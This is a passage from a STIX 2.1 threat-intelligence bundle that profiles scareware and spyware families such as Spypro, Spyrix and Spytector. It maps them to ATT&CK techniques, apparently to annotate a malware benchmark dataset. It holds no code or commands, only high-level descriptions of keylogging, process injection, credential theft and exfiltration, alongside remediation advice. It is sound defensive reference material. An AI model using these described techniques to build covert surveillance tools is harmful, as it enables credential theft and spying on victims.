      "source_ref": "malware--af65eb31-78b7-51fd-87b9-633ed76d6b1a",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spynomore exhibits technique T1491.001 (Defacement: Internal Defacement (Fake alert pop-ups and UI))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a15a73a5-c97f-5bdc-a04d-9738c3c84fcd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af65eb31-78b7-51fd-87b9-633ed76d6b1a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spynomore exhibits technique T1204.002 (User Execution: Malicious File (User tricked into installing the software))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2edd3693-2e4a-5d9c-80ca-9004894d9101",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af65eb31-78b7-51fd-87b9-633ed76d6b1a",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spynomore exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Blocking Task Manager/Regedit))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77fc57eb-5ca0-51dc-8a82-4ea2facc5e17",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--af65eb31-78b7-51fd-87b9-633ed76d6b1a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spynomore exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6145e9c2-e114-5080-9e27-e3f6afca6e45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spypro",
      "description": "<h3>Executive Summary</h3>\nSpyPro (often associated with the SpySheriff or SpywareProtect2009 families) is a highly aggressive form of Rogue Antivirus (Scareware). Masquerading as a legitimate, premium security suite, its true objective is to artificially induce panic in the user by generating endless fake security alerts and fabricated malware detections, extorting the user into purchasing a useless \"full version\" to clean their system.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSpyPro is heavily distributed via \"malvertising\" on low-tier websites, where deceptive banners flash warnings like \"Your PC is Infected! Click here to scan.\" It is also frequently bundled with pirated software or codecs.\n\nOnce executed, SpyPro employs aggressive psychological manipulation and system lockdown tactics:\n<ul>\n<li><strong>Fake Scans and Fabricated Results:</strong> The software automatically runs highly convincing, yet entirely fake, system scans. It invariably \"detects\" dozens of high-risk trojans and viruses, often pointing to legitimate Windows system files (like `svchost.exe`) as the culprits.</li>\n<li><strong>System Disruption (Hostage Tactics):</strong> To force a purchase, SpyPro actively disrupts the user's experience. It may block the execution of legitimate applications (including real antivirus software and Task Manager), hijack the browser to redirect to its payment portal, or change the desktop wallpaper to a stark \"SYSTEM COMPROMISED\" warning.</li>\n<li><strong>Payment Extortion:</strong> The malware relentlessly prompts the user to input their credit card information to purchase a \"lifetime license\" to remove the non-existent threats.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA SpyPro infection results in immediate operational downtime, as the user is effectively locked out of standard applications by the scareware's disruption tactics. Furthermore, users who succumb to the extortion attempt suffer direct financial loss and compromise their credit card details to cybercriminals.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Eradication:</strong> Because SpyPro actively blocks the execution of legitimate removal tools, the infected machine must usually be booted into Windows Safe Mode (which prevents the scareware from starting) before an enterprise anti-malware scan can be executed.</li>\n<li><strong>Registry Remediation:</strong> After removing the core executables, responders must repair the Windows Registry, as SpyPro frequently alters `.exe` file association keys to intercept application launches.</li>\n<li><strong>Financial Remediation:</strong> If the user entered their credit card information, they must immediately contact their financial institution to cancel the card and dispute the fraudulent charges.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.SpyPro",
        "Scareware.SpyPro",
        "FakeAV.SpyPro"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spypro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spypro"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f9ae1fd-1ede-5bf9-a17c-259e363cde65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6145e9c2-e114-5080-9e27-e3f6afca6e45",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spypro exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c4fbceb-92e6-5793-b697-474022e1b059",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6145e9c2-e114-5080-9e27-e3f6afca6e45",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spypro exhibits technique T1489 (Service Stop (Forcefully stopping AV services))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee89b6cc-dee4-512b-9d2c-f0b080ec305d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6145e9c2-e114-5080-9e27-e3f6afca6e45",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spypro exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--87f1553e-850f-5463-9105-ea1d657fe327",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spyrecon",
      "description": "Spyware:Win32/Spyrecon is a commercial surveillance tool designed to comprehensively track, record, and log a user's digital behavior. While marketed as 'employee monitoring' or 'parental control' software, it is frequently classified as spyware because it can be installed covertly by malicious actors or abusive insiders to steal credentials and monitor private communications without the victim's consent.<br><br><b>Understanding Spyrecon</b><br>To an end-user, a Spyrecon infection is typically completely invisible. The system runs normally, with no ransom notes or obvious performance degradation. For a security team, its presence on a corporate network is a significant policy violation and a severe data privacy risk. It represents an active, ongoing breach of confidentiality.<br><br><b>Execution and Surveillance Mechanics</b><br>Because it is commercial software, Spyrecon is usually installed manually by someone with physical access to the device or via remote desktop protocols (`T1091`, `T1078`). Once executed (`T1204.002`), it establishes deep persistence, often running as a hidden Windows Service (`T1543.003`) to ensure it starts before the user even logs in. It employs extensive API hooking to capture every keystroke typed (`T1056.001`), takes periodic screenshots of the desktop (`T1113`), monitors application usage, and tracks web history. The massive volume of harvested data is encrypted, stored locally in hidden log files, and periodically exfiltrated to a central server or sent via email (`T1048.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe, prolonged data loss, including intellectual property, passwords, and sensitive communications. Host-based IoCs include EDR alerts for extensive API hooking, the presence of hidden, growing log files (often encrypted) in the `%AppData%` or `%ProgramData%` directories, and unknown processes running as a Service. Network IoCs include regular, scheduled outbound connections to the software vendor's cloud infrastructure or unknown SMTP relays to deliver the logs. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spyrecon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spyrecon"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abbf83aa-23e7-5d2a-bbec-1f46c7081a6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87f1553e-850f-5463-9105-ea1d657fe327",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyrecon exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88dc0e46-5388-52e1-8443-1335655d895d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87f1553e-850f-5463-9105-ea1d657fe327",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyrecon exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70b3a840-bf92-5177-a50e-2debe125e391",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87f1553e-850f-5463-9105-ea1d657fe327",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyrecon exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltration via SMTP/Email))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddf63ecd-1b01-5c8f-b55a-d1c2a724d9be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87f1553e-850f-5463-9105-ea1d657fe327",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyrecon exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b93c13ec-6353-54e1-bfbc-8d185c156f35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spyrix",
      "description": "<h3>Executive Summary</h3>\nSpyrix is a commercially available software application marketed for employee monitoring and parental control. However, due to its deep system hooking capabilities, covert operation mode, and the ability to log highly sensitive data (keystrokes, screenshots, clipboard contents), it is broadly classified by the security industry as \"Riskware\" or a Potentially Unwanted Program (PUP) operating as a commercial keylogger.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nBecause Spyrix is commercial software, it is downloaded from the vendor's website. However, in an enterprise context, it becomes a severe security threat when installed covertly by an unauthorized party (e.g., an insider threat, a jealous partner, or a threat actor who has gained local access to the machine).\n\nWhen configured for \"stealth\" monitoring, Spyrix employs significant surveillance capabilities:\n<ul>\n<li><strong>Comprehensive Keylogging:</strong> The software hooks into the Windows operating system at a low level to record every keystroke made by the user, explicitly including passwords, financial details, and private communications.</li>\n<li><strong>Screen and Clipboard Capture:</strong> It takes continuous or triggered screenshots of the user's desktop and logs the contents of the system clipboard.</li>\n<li><strong>Covert Exfiltration:</strong> The software can be configured to run completely hidden from the user (no system tray icon, hidden from Task Manager). It then exfiltrates the logged data to a cloud dashboard or via email to the person who installed it.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized presence of Spyrix on a corporate endpoint is a critical breach of privacy and a massive data exfiltration risk. A commercial keylogger captures everything, bypassing encryption and multi-factor authentication (as it captures the data before it is sent or after it is decrypted on the screen).\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Investigate the Source:</strong> The presence of a commercial keylogger strongly implies an \"insider threat\" or unauthorized local access. HR and Legal teams should be involved to investigate who purchased the license and installed the software.</li>\n<li><strong>Credential Reset:</strong> All passwords typed on that machine while the software was active must be considered compromised. A global credential reset is required.</li>\n<li><strong>Uninstallation and Verification:</strong> The software can typically be uninstalled via the Control Panel (if the uninstaller is accessible) or removed using a reputable enterprise anti-malware solution. Ensure that the associated services and registry keys (`HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run`) are fully purged.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.Spyrix",
        "Keylogger.Spyrix",
        "Monitor.Spyrix"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spyrix",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spyrix"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a55d58e0-c955-5633-8169-cc7790cae37e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b93c13ec-6353-54e1-bfbc-8d185c156f35",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyrix exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4285c936-8196-50ce-9b62-5c0b8e8eaa14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b93c13ec-6353-54e1-bfbc-8d185c156f35",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyrix exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5cc0c1ec-e185-51d5-ba7b-5b0c00da6b07",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b93c13ec-6353-54e1-bfbc-8d185c156f35",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyrix exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30082e86-029b-56af-a69b-53ba967eacf3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b93c13ec-6353-54e1-bfbc-8d185c156f35",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spyrix exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e9dbeded-0569-55b5-89ae-b9d1f4fefc0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spytech",
      "description": "<h3>Executive Summary</h3>\nSpyTech (often detected as Spyware.SpyTech or Riskware.SpyTech) is a well-known, commercially available \"employee monitoring\" and surveillance software suite. While technically legal when used by parents or employers with explicit consent, it possesses the exact same technical capabilities as a malicious Info Stealer or Keylogger. Because it is frequently abused by stalkers or deployed covertly without authorization, many enterprise security solutions classify it as Riskware or Spyware.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nUnlike traditional malware, SpyTech is usually installed manually. An individual with physical access to the machine, or a network administrator with elevated privileges, typically deploys the software. \n\nOnce installed, SpyTech provides comprehensive, covert surveillance:\n<ul>\n<li><strong>Keystroke Logging and Screen Capture:</strong> It silently records every keystroke typed (capturing passwords and private communications) and takes periodic screenshots of the active desktop, saving the data to hidden, encrypted logs.</li>\n<li><strong>Application and Web Monitoring:</strong> The software tracks all applications launched, websites visited, files modified, and even intercepts instant messaging communications (Skype, WhatsApp Web).</li>\n<li><strong>Stealth Mode and Remote Access:</strong> SpyTech is specifically designed to operate in \"Stealth Mode,\" hiding its processes from the Windows Task Manager and removing its icons from the system tray. It often includes a remote viewer module, allowing the installer to monitor the machine's activity in real-time over the network.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe unauthorized presence of SpyTech on a corporate endpoint constitutes a severe breach of confidentiality and a significant privacy violation. It compromises all credentials entered on the machine and exposes sensitive corporate communications to whoever installed the software.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Contextual Investigation:</strong> Because SpyTech is commercial software, IR teams must determine if its installation was authorized by HR/Legal (e.g., for an internal investigation). If unauthorized, it must be treated as a severe insider threat or physical security breach.</li>\n<li><strong>Targeted Removal:</strong> The software usually includes an official uninstaller, but it may be password-protected by the person who deployed it. If the password is unknown, an enterprise anti-malware solution must be used to forcefully terminate its hidden processes and remove its registry persistence keys.</li>\n<li><strong>Credential Auditing:</strong> Assuming the monitoring was unauthorized, a mandatory password reset must be enforced for all accounts utilized on the compromised endpoint.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.SpyTech",
        "Spyware.Spytech",
        "Monitor.Win32.SpyTech"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spytech",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spytech"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a84517f4-53f1-5f18-9178-55b996196c23",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e9dbeded-0569-55b5-89ae-b9d1f4fefc0b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spytech exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a30dec5-2d48-549f-8a17-28b1ae703cea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e9dbeded-0569-55b5-89ae-b9d1f4fefc0b",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spytech exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51ffcf12-1e24-53f4-bda2-e5d8f719966d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e9dbeded-0569-55b5-89ae-b9d1f4fefc0b",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spytech exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--561d1b8c-60d4-58fe-b75c-cff9077ebd22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spytector",
      "description": "Spytector (cataloged across security vendors as MonitoringTool:Win32/Spytector, Spytector Keylogger, and Spytector.Delphi) is a sophisticated commercial-grade surveillance tool and stealth keylogger engineered in Delphi. Marketed as an undetectable monitoring utility, Spytector has been heavily repurposed by cybercriminals for unauthorized corporate espionage and credential theft. Upon execution, Spytector installs its payload silently, injects into legitimate Windows processes (such as explorer.exe), and establishes API hooks via SetWindowsHookEx to intercept all user keystrokes, clipboard modifications, opened application windows, and visited URLs. Additionally, Spytector extracts stored account credentials and cookies from major browsers, email clients, and instant messaging software. The harvested surveillance logs and screenshots are encrypted and automatically exfiltrated to threat actors via scheduled SMTP email dispatches or remote FTP server uploads.",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spytector Keylogger",
        "Spytector Surveillance",
        "Spytector.Delphi",
        "MonitoringTool:Win32/Spytector",
        "Trojan.Spytector"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spytector",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spytector"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ce2c9ab-4eba-5ec8-bf3f-d5c6d35ed2ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--561d1b8c-60d4-58fe-b75c-cff9077ebd22",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spytector exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1d1d55ad-f74f-50b4-b7be-5ae03137de2f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--561d1b8c-60d4-58fe-b75c-cff9077ebd22",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spytector exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ae2eafa-b3fc-584e-83ef-8729950a066c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--561d1b8c-60d4-58fe-b75c-cff9077ebd22",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spytector exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08f1c31b-044d-5155-8436-8986c2c55969",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--561d1b8c-60d4-58fe-b75c-cff9077ebd22",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spytector exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb1abd89-08c9-5c42-8ec9-34065bc7a5ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--561d1b8c-60d4-58fe-b75c-cff9077ebd22",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spytector exhibits technique T1048.003 (Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0a162303-9323-5e66-b7b8-a1180993b230",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Spywork",
      "description": "<h3>Executive Summary</h3>\nSpywork is a malicious spyware family engineered for stealth and persistent surveillance. It is designed to covertly monitor all user activity on an infected endpoint, capturing sensitive data such as keystrokes, screenshots, and credentials, before exfiltrating this intelligence to remote command-and-control (C2) infrastructure.\n\n<h3>Technical Capabilities and Behavior</h3>\nSpywork is typically deployed as a secondary payload by other malware (like droppers or exploit kits) or distributed via highly targeted spear-phishing campaigns. Once executed, it immediately attempts to elevate privileges and injects its core components into legitimate system processes (such as `explorer.exe` or `svchost.exe`) to mask its presence from Task Manager and basic security tools.\n\nThe spyware's primary functionality includes:\n<ul>\n<li><strong>Keylogging:</strong> Recording every keystroke to capture passwords, banking details, and confidential communications.</li>\n<li><strong>Screen Capture:</strong> Taking periodic screenshots of the desktop, particularly when specific applications (like banking portals or email clients) are brought into focus.</li>\n<li><strong>Clipboard Monitoring:</strong> Stealing data copied to the clipboard, frequently targeting cryptocurrency wallet addresses and passwords.</li>\n</ul>\nData is typically encrypted locally and transmitted to the C2 server via covert channels, often utilizing HTTPS to blend in with normal web traffic.\n\n<h3>Risk Assessment</h3>\nSpywork represents a critical security threat, particularly for enterprise environments and financial institutions. A successful Spywork infection almost guarantees a total compromise of user credentials and sensitive intellectual property, leading to data breaches, financial loss, and severe reputational damage.\n\n<h3>Eradication and Incident Response</h3>\n<ul>\n<li><strong>Memory Forensics:</strong> Because Spywork heavily utilizes process injection, memory analysis is often required to identify the injected threads and trace the malware back to its source executable.</li>\n<li><strong>Credential Rotation:</strong> Upon detection, all passwords and authentication tokens utilized on the infected machine must be immediately revoked and rotated.</li>\n<li><strong>Network Segmentation:</strong> Isolate the compromised host to prevent the spyware from harvesting lateral movement credentials or network maps.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware.Spywork",
        "TrojanSpy.Spywork",
        "Win32/Spywork"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Spywork",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/spywork"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5a11193-ce68-5d72-9e8a-9cb44378d023",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a162303-9323-5e66-b7b8-a1180993b230",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spywork exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b89c47e5-7a75-5e62-9e7b-a2a633df550b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a162303-9323-5e66-b7b8-a1180993b230",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spywork exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25274122-ee99-5d30-bdbb-f5cd5b37e82f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a162303-9323-5e66-b7b8-a1180993b230",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spywork exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2740523a-d1c6-5eb8-bfa4-c3c97cf8c821",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0a162303-9323-5e66-b7b8-a1180993b230",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Spywork exhibits technique T1115 (Clipboard Data)."
    },
    {
